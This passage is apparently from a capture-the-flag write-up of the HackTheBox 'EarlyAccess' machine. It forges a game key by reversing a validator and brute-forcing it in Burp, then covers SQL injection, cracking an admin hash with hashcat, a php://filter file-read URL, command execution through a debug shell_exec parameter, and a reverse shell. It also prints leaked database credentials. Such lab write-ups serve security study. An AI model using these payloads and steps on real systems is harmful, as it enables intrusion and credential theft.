class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PythonCompiler.png" alt=""></a> <p>I put the Python code in an online compiler and removed all the functions and made it into a script. Then I put all the results in variables so we can see if a try is valid.</p> <pre style="text-align: left"> <code class="prettyprint"> from re import match class Key: key = "KEY01-0H0H0-XPAA0-GAME1-1295" #defaultkey=AAAAA-BBBBB-CCCC1-DDDDD-1234 magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) valid = False cs_value = 0 cs_valid = False g1_valid = False g2_valid = False g3_valid = False g4_valid = False valid = bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", key)) print("valid_format: ", valid) gs = key.split('-')[:-1] cs_value = sum([sum(bytearray(g.encode())) for g in gs]) print("cs_value: ", cs_value) ### g1 discovered by changing the first 3 characters untill the r value matched g1 = key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] print("r: ", r) if r != [221, 81, 145]: g1_valid = False for v in g1[3:]: try: int(v) except: g1_valid = False g1_valid = len(set(g1)) == len(g1) print("g1_valid: ", g1_valid) ### g2 discovered by putting p1 on 0 and shifting p2 until it matched g2 = key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] g2_valid = sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) print("g2_valid: ", g2_valid) # TODO: Add mechanism to sync magic_num with API g3 = key.split('-')[2] if g3[0:2] == magic_value: g3_valid = sum(bytearray(g3.encode())) == magic_num else: g3_valid = False print("g3_valid: ", g3_valid) ### Same approach as g1 try different values untill they matched print("g4: ", [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])]) g4_valid = [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])] == [12, 4, 20, 117, 0] print("g4_valid: ", g4_valid) ### The CS value is just a byte sum of the whole key so this has to be the last value to crack and is pretty easy because we can just print the real CS value and match it cs = int(key.split('-')[-1]) print("cs: ", cs) cs_valid = cs_value == cs print("cs_valid: ", cs_valid) def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True </code> </pre> <a href="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png" alt=""></a> <p>We cracked the code but the only thing that didn't work is part G3 because the magic number seems to be different on the server. When we try to validate it locally using the original validator script the key is valid. But maybe we can bruteforce this magic number using Burpsuite. There are only 60 possible combinations because the magic number is a sum of the last 3 characters, because the code said that the first two "XP" are static, And each character has a specific value. So I made a list.</p> <pre style="text-align: left"> <code class="prettyprint"> KEY01-0H0H0-XPAA0-GAME1-1295 KEY01-0H0H0-XPAB0-GAME1-1296 KEY01-0H0H0-XPAC0-GAME1-1297 KEY01-0H0H0-XPAD0-GAME1-1298 KEY01-0H0H0-XPAE0-GAME1-1299 KEY01-0H0H0-XPAF0-GAME1-1300 KEY01-0H0H0-XPAG0-GAME1-1301 KEY01-0H0H0-XPAH0-GAME1-1302 KEY01-0H0H0-XPAI0-GAME1-1303 KEY01-0H0H0-XPAJ0-GAME1-1304 KEY01-0H0H0-XPAK0-GAME1-1305 KEY01-0H0H0-XPAL0-GAME1-1306 KEY01-0H0H0-XPAM0-GAME1-1307 KEY01-0H0H0-XPAN0-GAME1-1308 KEY01-0H0H0-XPAO0-GAME1-1309 KEY01-0H0H0-XPAP0-GAME1-1310 KEY01-0H0H0-XPAQ0-GAME1-1311 KEY01-0H0H0-XPAR0-GAME1-1312 KEY01-0H0H0-XPAS0-GAME1-1313 KEY01-0H0H0-XPAT0-GAME1-1314 KEY01-0H0H0-XPAU0-GAME1-1315 KEY01-0H0H0-XPAV0-GAME1-1316 KEY01-0H0H0-XPAW0-GAME1-1317 KEY01-0H0H0-XPAX0-GAME1-1318 KEY01-0H0H0-XPAY0-GAME1-1319 KEY01-0H0H0-XPAZ0-GAME1-1320 KEY01-0H0H0-XPBZ0-GAME1-1321 KEY01-0H0H0-XPCZ0-GAME1-1322 KEY01-0H0H0-XPDZ0-GAME1-1323 KEY01-0H0H0-XPEZ0-GAME1-1324 KEY01-0H0H0-XPFZ0-GAME1-1325 KEY01-0H0H0-XPGZ0-GAME1-1326 KEY01-0H0H0-XPHZ0-GAME1-1327 KEY01-0H0H0-XPIZ0-GAME1-1328 KEY01-0H0H0-XPJZ0-GAME1-1329 KEY01-0H0H0-XPKZ0-GAME1-1330 KEY01-0H0H0-XPLZ0-GAME1-1331 KEY01-0H0H0-XPMZ0-GAME1-1332 KEY01-0H0H0-XPNZ0-GAME1-1333 KEY01-0H0H0-XPOZ0-GAME1-1334 KEY01-0H0H0-XPPZ0-GAME1-1335 KEY01-0H0H0-XPQZ0-GAME1-1336 KEY01-0H0H0-XPRZ0-GAME1-1337 KEY01-0H0H0-XPSZ0-GAME1-1338 KEY01-0H0H0-XPTZ0-GAME1-1339 KEY01-0H0H0-XPUZ0-GAME1-1340 KEY01-0H0H0-XPVZ0-GAME1-1341 KEY01-0H0H0-XPWZ0-GAME1-1342 KEY01-0H0H0-XPXZ0-GAME1-1343 KEY01-0H0H0-XPYZ0-GAME1-1344 KEY01-0H0H0-XPZZ0-GAME1-1345 KEY01-0H0H0-XPZZ1-GAME1-1346 KEY01-0H0H0-XPZZ2-GAME1-1347 KEY01-0H0H0-XPZZ3-GAME1-1348 KEY01-0H0H0-XPZZ4-GAME1-1349 KEY01-0H0H0-XPZZ5-GAME1-1350 KEY01-0H0H0-XPZZ6-GAME1-1351 KEY01-0H0H0-XPZZ7-GAME1-1352 KEY01-0H0H0-XPZZ8-GAME1-1353 KEY01-0H0H0-XPZZ9-GAME1-1354 </code> </pre> <p>First we need to intercept to post so we can copy it.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png" alt=""></a> <p>Now we can send it to the intruder to start brute-forcing this magic number.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png" alt=""></a> <p>I've added the payload which is the list of possible combinations we've just compiled. Now we need to add it into the POST.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png" alt=""></a> <p>Now let's start attacking!</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png" alt=""></a> <p>That didn't go as planned it looks like all the requests got redirected let's look at the settings if we can change anything.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png" alt=""></a> <p>Looks like Burpsuite just needed to be allowed to follow redirects. This is probably also the reason why our first GoBuster attempt failed.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png" alt=""></a> <p>Now to second attack is way more promising. One key stands out because the response length is different from the rest. Let's try that key and see what happens.</p> <a href="img/portfolio/minor/red/htb_linux/KeyValidationTest.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/KeyValidationTest.png" alt=""></a> <p>And it worked! Now lets go back to our normal user account and add this key to our account.</p> <a href="img/portfolio/minor/red/htb_linux/AddKeyToUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AddKeyToUser.png" alt=""></a> <p>Now we got the key added to our account we can take a look at that game subdomain we found earlier.</p> <a href="img/portfolio/minor/red/htb_linux/Scoreboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Scoreboard.png" alt=""></a> <p>Something I noticed instantly is the scoreboard that the SingleQuoteMan talked about on the forum. Maybe we can do the same trick with SQLI as we did with XSS at the beginning. We can do a simple SQLI test to find out if it's vulnerable.</p> <a href="img/portfolio/minor/red/htb_linux/VulnForSQLI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/VulnForSQLI.png" alt=""></a> <p>It is vulnerable but we didn't match the columns hence why it didn't show any output so lets try that again.</p> <a href="img/portfolio/minor/red/htb_linux/SQLVersion.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLVersion.png" alt=""></a> <p>Now look at that this should be easy. Lets try to enumerate the database tables.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIDBDump.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIDBDump.png" alt=""></a> <p>A user table? Very interesting lets see if it contains any passwords or usernames.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIUsers.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIUsers.png" alt=""></a> <p>And it does! Looks like we got an admin username and a password hash we need to crack. But first lets find out what type of hash it is.</p> <a href="img/portfolio/minor/red/htb_linux/HashIdentifier.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashIdentifier.png" alt=""></a> <p>Looks like it's a SHA1 hash lets see if Hashcat can find the password for us.</p> <code>hashcat -a 0 -m 100 adminhash.txt /usr/share/wordlists/rockyou.txt</code> <a href="img/portfolio/minor/red/htb_linux/Hashcat.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Hashcat.png" alt=""></a> <p>Yes it can! Now lets try to use these credentials to log into the dev subdomain.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png" alt=""></a> <p>Lets try to run Dirbuster one more time to see if it finds anything.</p> <a href="img/portfolio/minor/red/htb_linux/Dirbuster.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Dirbuster.png" alt=""></a> <p>Almost forgot we have to add the PHPSESSID from this admin to Dirbuster otherwise it won't have access to enumerate the site.</p> <a href="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png" alt=""></a> <p>Dirtbuster found a file called /actions/file.php which could be interesting. By the looks of it this is the file that is running on the homepage of this subdomain as well but there it said it didn't have a GUI yet. Maybe we can use it without GUI now we know the location of the file. But we need to know the command because now it gives us an error.</p> <a href="img/portfolio/minor/red/htb_linux/SpecifyFile.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SpecifyFile.png" alt=""></a> <p>Lets try some common command in this context like file, path and filepath. Hey! Filepath worked and now we can execute files and apparently also the hashingTool that is also on the homepage.</p> <a href="img/portfolio/minor/red/htb_linux/FileExecuted.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FileExecuted.png" alt=""></a> <p>Lets take a look at LFI (Local File Inclusion) and see if we can do something with that. I've found this <a href="https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cb">website</a> that explains a LFI vulnerability we could try</p> <code>https://dev.earlyaccess.htb/actions/file.php?filepath=php://filter/convert.base64-encode/resource=/var/www/earlyaccess.htb/dev/actions/hash.php</code> <a href="img/portfolio/minor/red/htb_linux/HashBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashBase64.png" alt=""></a> <p>This gave us the base64 of the hash.php file if we can convert it back to code we might be able to find a vulnerability.</p> <a href="img/portfolio/minor/red/htb_linux/DecodedBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DecodedBase64.png" alt=""></a> <p>Using an online base64 decoder we managed to find the source code of the hash.php file.</p> <pre style="text-align: left"> <code class="prettyprint"> <?php include_once "../includes/session.php"; function hash_pw($hash_function, $password) { // DEVELOPER-NOTE: There has gotta be an easier way... ob_start(); // Use inputted hash_function to hash password $hash = @$hash_function($password); ob_end_clean(); return $hash; } try { if(isset($_REQUEST['action'])) { if($_REQUEST['action'] === "verify") { // VERIFIES $password AGAINST $hash if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); $_SESSION['verify'] = ($hash === $_REQUEST['hash']); header('Location: /home.php?tool=hashing'); return; } } elseif($_REQUEST['action'] === "verify_file") { //TODO: IMPLEMENT FILE VERIFICATION } elseif($_REQUEST['action'] === "hash_file") { //TODO: IMPLEMENT FILE-HASHING } elseif($_REQUEST['action'] === "hash") { // HASHES $password USING $hash_function if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); if(!isset($_REQUEST['redirect'])) { echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>"; echo '<br>' . $hash; return; } else { $_SESSION['hash'] = $hash; header('Location: /home.php?tool=hashing'); return; } } } } // Action not set, ignore throw new Exception(""); } catch(Exception $ex) { if($ex->getMessage() !== "") $_SESSION['error'] = htmlentities($ex->getMessage()); header('Location: /home.php'); return; } ?> </code> </pre> <p>After analyzing the source code it looks like if you send the debug parameter as true and the hashing_function as shell_exec, you can run any shell command you want from the hashing tool. So lets try that.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png" alt=""></a> <p>Looks like it worked now lets try to get a reverse shell.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WWW-DataShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-DataShell.png" alt=""></a> <p>And we're in! I looked in the /etc/passwd and noticed another user named www-adm which looked like the next user I needed. After looking around for a bit and I couldn't find anything I thought what if they reused passwords?</p> <a href="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png" alt=""></a> <p>And they did so now we have www-adm shell. After looking around I noticed a .wgetrc file with some credentials in it. Because it looked like docker was running on the machine I thought http://api:5000/ was my best bet.</p> <a href="img/portfolio/minor/red/htb_linux/WGETAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETAPI.png" alt=""></a> <p>And it was! Apparently there is a check_db endpoint but it required credentials. So I tried to credentials we've just found.</p> <a href="img/portfolio/minor/red/htb_linux/CatCheckDB.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatCheckDB.png" alt=""></a> <p>Looks like JSON but we first need to prettify it to make it more readable.</p> <pre style="text-align: left"> <code class="prettyprint"> { "message":{ "AppArmorProfile":"docker-default", "Args":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Config":{ "AttachStderr":false, "AttachStdin":false, "AttachStdout":false, "Cmd":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Domainname":"", "Entrypoint":[ "docker-entrypoint.sh" ], "Env":[ "MYSQL_DATABASE=db", "MYSQL_USER=drew", "MYSQL_PASSWORD=drew", "MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5", "SERVICE_TAGS=dev", "SERVICE_NAME=mysql", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "GOSU_VERSION=1.12", "MYSQL_MAJOR=8.0", "MYSQL_VERSION=8.0.25-1debian10" ], "ExposedPorts":{ "3306/tcp":{ }, "33060/tcp":{ } }, "Healthcheck":{ "Interval":5000000000, "Retries":3, "Test":[ "CMD-SHELL", "mysqladmin ping -h 127.0.0.1 --user=$MYSQL_USER -p$MYSQL_PASSWORD --silent" ], "Timeout":2000000000 }, "Hostname":"mysql", "Image":"mysql:latest", "Labels":{ "com.docker.compose.config-hash":"947cb358bc0bb20b87239b0dffe00fd463bd7e10355f6aac2ef1044d8a29e839", "com.docker.compose.container-number":"1", "com.docker.compose.oneoff":"False", "com.docker.compose.project":"app", "com.docker.compose.project.config_files":"docker-compose.yml", "com.docker.compose.project.working_dir":"/root/app", "com.docker.compose.service":"mysql", "com.docker.compose.version":"1.29.1" }, "OnBuild":null, "OpenStdin":false, "StdinOnce":false, "Tty":true, "User":"", "Volumes":{ "/docker-entrypoint-initdb.d":{ }, "/var/lib/mysql":{ } }, "WorkingDir":"" }, "Created":"2021-10-04T06:57:43.698655618Z", "Driver":"overlay2", "ExecIDs":null, "GraphDriver":{ "Data":{ "LowerDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d-init/diff:/var/lib/docker/overlay2/ecc064365b0367fc58ac796d9d5fe020d9453c68e2563f8f6d4682e38231083e/diff:/var/lib/docker/overlay2/4a21c5c296d0e6d06a3e44e3fa4817ab6f6f8c3612da6ba902dc28ffd749ec4d/diff:/var/lib/docker/overlay2/f0cdcc7bddc58609f75a98300c16282d8151ce18bd89c36be218c52468b3a643/diff:/var/lib/docker/overlay2/01e8af3c602aa396e4cb5af2ed211a6a3145337fa19b123f23e36b006d565fd0/diff:/var/lib/docker/overlay2/55b88ae64530676260fe91d4d3e6b0d763165505d3135a3495677cb10de74a66/diff:/var/lib/docker/overlay2/4064491ac251bcc0b677b0f76de7d5ecf0c17c7d64d7a18debe8b5a99e73e127/diff:/var/lib/docker/overlay2/a60c199d618b0f2001f106393236ba394d683a96003a4e35f58f8a7642dbad4f/diff:/var/lib/docker/overlay2/29b638dc55a69c49df41c3f2ec0f90cc584fac031378ae455ed1458a488ec48d/diff:/var/lib/docker/overlay2/ee59a9d7b93adc69453965d291e66c7d2b3e6402b2aef6e77d367da181b8912f/diff:/var/lib/docker/overlay2/4b5204c09ec7b0cbf22d409408529d79a6d6a472b3c4d40261aa8990ff7a2ea8/diff:/var/lib/docker/overlay2/8178a3527c2a805b3c2fe70e179797282bb426f3e73e8f4134bc2fa2f2c7aa22/diff:/var/lib/docker/overlay2/76b10989e43e43406fc4306e789802258e36323f7c2414e5e1242b6eab4bd3eb/diff", "MergedDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/merged", "UpperDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/diff", "WorkDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/work" }, "Name":"overlay2" }, "HostConfig":{ "AutoRemove":false, "Binds":[ "/root/app/scripts/init.d:/docker-entrypoint-initdb.d:ro", "app_vol_mysql:/var/lib/mysql:rw" ], "BlkioDeviceReadBps":null, "BlkioDeviceReadIOps":null, "BlkioDeviceWriteBps":null, "BlkioDeviceWriteIOps":null, "BlkioWeight":0, "BlkioWeightDevice":null, "CapAdd":[ "SYS_NICE" ], "CapDrop":null, "Cgroup":"", "CgroupParent":"", "CgroupnsMode":"host", "ConsoleSize":[ 0, 0 ], "ContainerIDFile":"", "CpuCount":0, "CpuPercent":0, "CpuPeriod":0, "CpuQuota":0, "CpuRealtimePeriod":0, "CpuRealtimeRuntime":0, "CpuShares":0, "CpusetCpus":"", "CpusetMems":"", "DeviceCgroupRules":null, "DeviceRequests":null, "Devices":null, "Dns":null, "DnsOptions":null, "DnsSearch":null, "ExtraHosts":null, "GroupAdd":null, "IOMaximumBandwidth":0, "IOMaximumIOps":0, "IpcMode":"private", "Isolation":"", "KernelMemory":0, "KernelMemoryTCP":0, "Links":null, "LogConfig":{ "Config":{ }, "Type":"json-file" }, "MaskedPaths":[ "/proc/asound", "/proc/acpi", "/proc/kcore", "/proc/keys", "/proc/latency_stats", "/proc/timer_list", "/proc/timer_stats", "/proc/sched_debug", "/proc/scsi", "/sys/firmware" ], "Memory":0, "MemoryReservation":0, "MemorySwap":0, "MemorySwappiness":null, "NanoCpus":0, "NetworkMode":"app_nw", "OomKillDisable":false, "OomScoreAdj":0, "PidMode":"", "PidsLimit":null, "PortBindings":{ }, "Privileged":false, "PublishAllPorts":false, "ReadonlyPaths":[ "/proc/bus", "/proc/fs", "/proc/irq", "/proc/sys", "/proc/sysrq-trigger" ], "ReadonlyRootfs":false, "RestartPolicy":{ "MaximumRetryCount":0, "Name":"always" }, "Runtime":"runc", "SecurityOpt":null, "ShmSize":67108864, "UTSMode":"", "Ulimits":null, "UsernsMode":"", "VolumeDriver":"", "VolumesFrom":[ ] }, "HostnamePath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hostname", "HostsPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hosts", "Id":"47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216", "Image":"sha256:5c62e459e087e3bd3d963092b58e50ae2af881076b43c29e38e2b5db253e0287", "LogPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216-json.log", "MountLabel":"", "Mounts":[ { "Destination":"/docker-entrypoint-initdb.d", "Mode":"ro", "Propagation":"rprivate", "RW":false, "Source":"/root/app/scripts/init.d", "Type":"bind" }, { "Destination":"/var/lib/mysql", "Driver":"local", "Mode":"rw", "Name":"app_vol_mysql", "Propagation":"", "RW":true, "Source":"/var/lib/docker/volumes/app_vol_mysql/_data", "Type":"volume" } ], "Name":"/mysql", "NetworkSettings":{ "Bridge":"", "EndpointID":"", "Gateway":"", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "HairpinMode":false, "IPAddress":"", "IPPrefixLen":0, "IPv6Gateway":"", "LinkLocalIPv6Address":"", "LinkLocalIPv6PrefixLen":0, "MacAddress":"", "Networks":{ "app_nw":{ "Aliases":[ "47c78eb0450f", "mysql" ], "DriverOpts":null, "EndpointID":"50037fb137fd880f88a9efd17eb8cf94bf8142ec263080b4c904afeeaa79aa2e", "Gateway":"172.18.0.1", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "IPAMConfig":{ "IPv4Address":"172.18.0.100" }, "IPAddress":"172.18.0.100", "IPPrefixLen":16, "IPv6Gateway":"", "Links":null, "MacAddress":"02:42:ac:12:00:64", "NetworkID":"021b24b8b3e1e3638463eeb7dc9af59c36cc412578cdf51931a24f04ea6f5532" } }, "Ports":{ "3306/tcp":null, "33060/tcp":null }, "SandboxID":"99cbb57fded2142e5dad46330b43249d2866f8514fb4342d06322f3e3b5c60f1", "SandboxKey":"/var/run/docker/netns/99cbb57fded2", "SecondaryIPAddresses":null, "SecondaryIPv6Addresses":null }, "Path":"docker-entrypoint.sh", "Platform":"linux", "ProcessLabel":"", "ResolvConfPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/resolv.conf", "RestartCount":0, "State":{ "Dead":false, "Error":"", "ExitCode":0, "FinishedAt":"0001-01-01T00:00:00Z", "Health":{ "FailingStreak":0, "Log":[ { "End":"2021-10-04T17:08:01.998027574+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:01.908189033+02:00" }, { "End":"2021-10-04T17:08:07.080804898+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:07.000613396+02:00" }, { "End":"2021-10-04T17:08:12.166584919+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:12.083845791+02:00" }, { "End":"2021-10-04T17:08:17.254375293+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:17.16894306+02:00" }, { "End":"2021-10-04T17:08:22.350400823+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:22.257747436+02:00" } ], "Status":"healthy" }, "OOMKilled":false, "Paused":false, "Pid":1108, "Restarting":false, "Running":true, "StartedAt":"2021-10-04T06:57:47.409835076Z", "Status":"running" } }, "status":200 } </code> </pre> <p>Looks like an username and some passwords lets try those with ssh.</p> <a href="img/portfolio/minor/red/htb_linux/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/UserFlag.png" alt=""></a> <p>We got the user flag! But now we need to find something to escalate our privileges. We could use LinPEAS to try and find something but we first have to get it on this machine.</p> <a href="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WGETLinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETLinpeas.png" alt=""></a> <p>I used SimpleHTTPServer to get LinPeas from my machine to the target machine because the target machine didn't have access to the internet. Now we need to run LinPEAS.</p> <a href="img/portfolio/minor/red/htb_linux/LinpeasMail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasMail.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png" alt=""></a> <p>Looks like LinPEAS found some interesting stuff like a mail message to Drew and the docker ip ranges and a docker folder that is edited regularly.</p> <a href="img/portfolio/minor/red/htb_linux/Mail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Mail.png" alt=""></a> <p>This probably means that the docker folder that gets edited regularly is the folder containing the game. And that some script is running that we could use.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>Looks like we got a public key as game-tester as well. Lets try to login into the docker ips using this public key.</p> <a href="img/portfolio/minor/red/htb_linux/Game-testerShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Game-testerShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png" alt=""></a> <p>And it worked now we got a shell as game-tester as well on a docker container. I noticed that the same docker folder on Drew also exists on the docker container and that they are shared. I also noticed that the docker folder get rewritten entirely so all files inside get removed and replaced before the server is restarted again. Lets see what the script does.</p> <a href="img/portfolio/minor/red/htb_linux/CatNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatNode-server.png" alt=""></a> <p>It runs in a folder called /usr/src/app which doesn't exist on the Drew user but it does on the game-tester container. So lets look at that as well.</p> <a href="img/portfolio/minor/red/htb_linux/CatServerJS.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatServerJS.png" alt=""></a> <p>Look like we can crash the server if we make a POST to autoplay with a decimal instead of 